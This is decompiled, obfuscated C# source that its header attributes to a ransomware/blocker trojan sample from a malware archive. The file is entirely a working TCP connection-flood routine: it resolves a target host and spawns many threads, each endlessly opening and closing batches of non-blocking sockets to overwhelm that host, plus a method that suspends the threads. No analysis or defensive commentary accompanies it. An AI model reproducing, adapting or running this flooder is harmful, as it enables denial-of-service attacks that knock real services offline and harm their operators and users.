// Decompiled with JetBrains decompiler
// Type: A.c2b32128b27710d76674c1117f7f19ccf
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace A
{
  internal class c2b32128b27710d76674c1117f7f19ccf
  {
    private static ThreadStart[] c1aa5e7f9240b5cc21ac78813ddfbaa39;
    private static Thread[] c12e108ff6c83dbee08305cc2b0ce9998;
    public static string c966ab90271ad8729ab4aa4181c310abf;
    private static IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
    public static ushort cf7dbbb0d9526e45865da4ee3fb9e1488;
    private static c2b32128b27710d76674c1117f7f19ccf.c4266534a0e42882f2383a9b38c981148[] c0b642d31ab826f70f3bf7cc60c70e048;
    public static int c52cb3c9fa9ea96db544af1bec7b932c8;
    public static int c1e5fb6eadf8fa36fbb78b515080241e1;

    public static void c68372a86611194582de7bf4f45c72f47()
    {
      try
      {
        c2b32128b27710d76674c1117f7f19ccf.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(Dns.GetHostEntry(c2b32128b27710d76674c1117f7f19ccf.c966ab90271ad8729ab4aa4181c310abf).AddressList[0], (int) c2b32128b27710d76674c1117f7f19ccf.cf7dbbb0d9526e45865da4ee3fb9e1488);
      }
      catch
      {
        c2b32128b27710d76674c1117f7f19ccf.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(IPAddress.Parse(c2b32128b27710d76674c1117f7f19ccf.c966ab90271ad8729ab4aa4181c310abf), (int) c2b32128b27710d76674c1117f7f19ccf.cf7dbbb0d9526e45865da4ee3fb9e1488);
      }
      c2b32128b27710d76674c1117f7f19ccf.c12e108ff6c83dbee08305cc2b0ce9998 = new Thread[c2b32128b27710d76674c1117f7f19ccf.c1e5fb6eadf8fa36fbb78b515080241e1];
      c2b32128b27710d76674c1117f7f19ccf.c1aa5e7f9240b5cc21ac78813ddfbaa39 = new ThreadStart[c2b32128b27710d76674c1117f7f19ccf.c1e5fb6eadf8fa36fbb78b515080241e1];
      c2b32128b27710d76674c1117f7f19ccf.c0b642d31ab826f70f3bf7cc60c70e048 = new c2b32128b27710d76674c1117f7f19ccf.c4266534a0e42882f2383a9b38c981148[c2b32128b27710d76674c1117f7f19ccf.c1e5fb6eadf8fa36fbb78b515080241e1];
      for (int index = 0; index < c2b32128b27710d76674c1117f7f19ccf.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
      {
        c2b32128b27710d76674c1117f7f19ccf.c0b642d31ab826f70f3bf7cc60c70e048[index] = new c2b32128b27710d76674c1117f7f19ccf.c4266534a0e42882f2383a9b38c981148(c2b32128b27710d76674c1117f7f19ccf.cdd98f4a39e676344f91b06e9be54701b, c2b32128b27710d76674c1117f7f19ccf.c52cb3c9fa9ea96db544af1bec7b932c8);
        c2b32128b27710d76674c1117f7f19ccf.c1aa5e7f9240b5cc21ac78813ddfbaa39[index] = new ThreadStart(c2b32128b27710d76674c1117f7f19ccf.c0b642d31ab826f70f3bf7cc60c70e048[index].c254d67f0f5a5ab80dbe5de1d1b27a54e);
        c2b32128b27710d76674c1117f7f19ccf.c12e108ff6c83dbee08305cc2b0ce9998[index] = new Thread(c2b32128b27710d76674c1117f7f19ccf.c1aa5e7f9240b5cc21ac78813ddfbaa39[index]);
        c2b32128b27710d76674c1117f7f19ccf.c12e108ff6c83dbee08305cc2b0ce9998[index].Start();
      }
    }

    public static void c90f6d098ad5ce70814005fb0adf72870()
    {
      for (int index = 0; index < c2b32128b27710d76674c1117f7f19ccf.c1e5fb6eadf8fa36fbb78b515080241e1; ++index)
      {
        try
        {
          c2b32128b27710d76674c1117f7f19ccf.c12e108ff6c83dbee08305cc2b0ce9998[index].Suspend();
        }
        catch
        {
        }
      }
    }

    private class c4266534a0e42882f2383a9b38c981148
    {
      private IPEndPoint cdd98f4a39e676344f91b06e9be54701b;
      private Socket[] cd5ac2690507af44059caeb0c8b2a71f7;
      private int c52cb3c9fa9ea96db544af1bec7b932c8;

      public c4266534a0e42882f2383a9b38c981148(
        IPEndPoint c8293ed1972789902aa5c44e762d830c9,
        int c6119b42523906b6f13307cecbf8b1413)
      {
        this.cdd98f4a39e676344f91b06e9be54701b = c8293ed1972789902aa5c44e762d830c9;
        this.c52cb3c9fa9ea96db544af1bec7b932c8 = c6119b42523906b6f13307cecbf8b1413;
      }

      private void c22ceca82e2535e14a0cc7fd164eea8bb(IAsyncResult c3174ece3cd2dcd4435a3a66491c498e6)
      {
      }

      public void c254d67f0f5a5ab80dbe5de1d1b27a54e()
      {
label_1:
        try
        {
          while (true)
          {
            this.cd5ac2690507af44059caeb0c8b2a71f7 = new Socket[this.c52cb3c9fa9ea96db544af1bec7b932c8];
            for (int index = 0; index < this.c52cb3c9fa9ea96db544af1bec7b932c8; ++index)
            {
              this.cd5ac2690507af44059caeb0c8b2a71f7[index] = new Socket(this.cdd98f4a39e676344f91b06e9be54701b.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].Blocking = false;
              AsyncCallback callback = new AsyncCallback(this.c22ceca82e2535e14a0cc7fd164eea8bb);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].BeginConnect((EndPoint) this.cdd98f4a39e676344f91b06e9be54701b, callback, (object) this.cd5ac2690507af44059caeb0c8b2a71f7[index]);
            }
            Thread.Sleep(100);
            for (int index = 0; index < this.c52cb3c9fa9ea96db544af1bec7b932c8; ++index)
            {
              if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
                this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
              this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
            }
            this.cd5ac2690507af44059caeb0c8b2a71f7 = (Socket[]) null;
          }
        }
        catch
        {
          for (int index = 0; index < this.c52cb3c9fa9ea96db544af1bec7b932c8; ++index)
          {
            try
            {
              if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected)
                this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false);
              this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close();
              this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null;
            }
            catch
            {
            }
          }
          goto label_1;
        }
      }
    }
  }
}
